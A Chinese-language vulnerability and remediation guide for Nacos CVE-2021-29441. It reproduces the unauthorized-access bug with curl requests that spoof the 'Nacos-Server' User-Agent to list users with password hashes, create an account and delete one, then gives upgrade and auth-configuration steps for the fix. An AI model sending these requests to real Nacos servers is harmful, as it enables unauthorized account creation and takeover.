NACOS漏洞问题及修复(CVE-2021-29441)

1、漏洞详情:

未授权访问漏洞,是在攻击者没有获取到登录权限或未授权的情况下,或者不需要输入密码,即可通过直接输入网站控制台主页面地址,或者不允许查看的链接便可进行访问,同时进行操作该系统

影响范围为1.4.1版本之前的nacos

2、漏洞复现:

访问用户列表界面

[root@localhost ~]# curl XGET '<http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9>' -H 'User-Agent: Nacos-Server'
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}[root@localhost ~]#

添加新用户

[root@localhost conf]# curl -XPOST '<http://127.0.0.1:8848/nacos/v1/auth/users?username=czdx&password=2022SecCZ_czdx@2022>' -H 'User-Agent: Nacos-Server'
{"code":200,"message":"create user ok!","data":null}

#再次查看 czdx用户已经被添加
[root@localhost conf]# curl XGET '<http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9>' -H 'User-Agent: Nacos-Server'
{"totalCount":2,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"czdx","password":"$2a$10$xSWgJpl/TSvr0JnEE5KshePTU0ITB3sTlw8q.b8qzCSBuRBy7Iyn."},{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

删除用户

[root@localhost conf]# curl -XDELETE <http://127.0.0.1:8848/nacos/v1/auth/users> -d "username=qwe&newPassword=2022SecCZ_czdx@2022"
{"code":200,"message":"delete user ok!","data":null}

3、解决方法:

升级nacos

下载1.4.1以上版本或者直接使用最新版本

Releases · alibaba/nacos

安装nacos

在新的nacos文件中,在conf目录下,找到数据库升级脚本1.4.0-ipv6_support-update.sql,在nacos配置库中执行该脚本(3.0系统中数据库名应该是jdlh-config)

修改conf目录下的application.properties文件,把原有nacos的数据源迁移到新的nacos配置中

注意以下新增配置:

修改nacos.core.auth.enabled配置为 true​修改nacos.core.auth.server.identity.key和nacos.core.auth.server.identity.value值为自定义值

测试效果

修改完配置后重启nacos,测试效果

[root@localhost conf]# curl XGET '<http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9>' -H 'User-Agent: Nacos-Server'{"timestamp":"2022-05-19T14:08:40.106+08:00","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/auth/users"}[root@localhost conf]#

4、修改项目配置

把项目中各个工程的bootstrap.yml中cloud.nacos层级下添加username和password

# Tomcat
server:
  port: 8077

# Spring
spring:
  application:
    # 应用名称
    name: xxxxxxxx
  profiles:
    # 环境配置
    active: dev
  cloud:
    nacos:
      username: nacos
      password: xxxxxxx
      discovery:
        # 服务注册地址
        server-addr: xxx.xx.xx.xx:8848
        namespace: b56778f3-2e9f-4645-91c9-2808ffbf6dd9
      config:
        # 配置中心地址
        server-addr: xxx.xx.xx.xx:8848
        # 配置文件格式
        file-extension: yml
        # 共享配置
        shared-dataids: application-${spring.profiles.active}.${spring.cloud.nacos.config.file-extension}

至此漏洞修复结束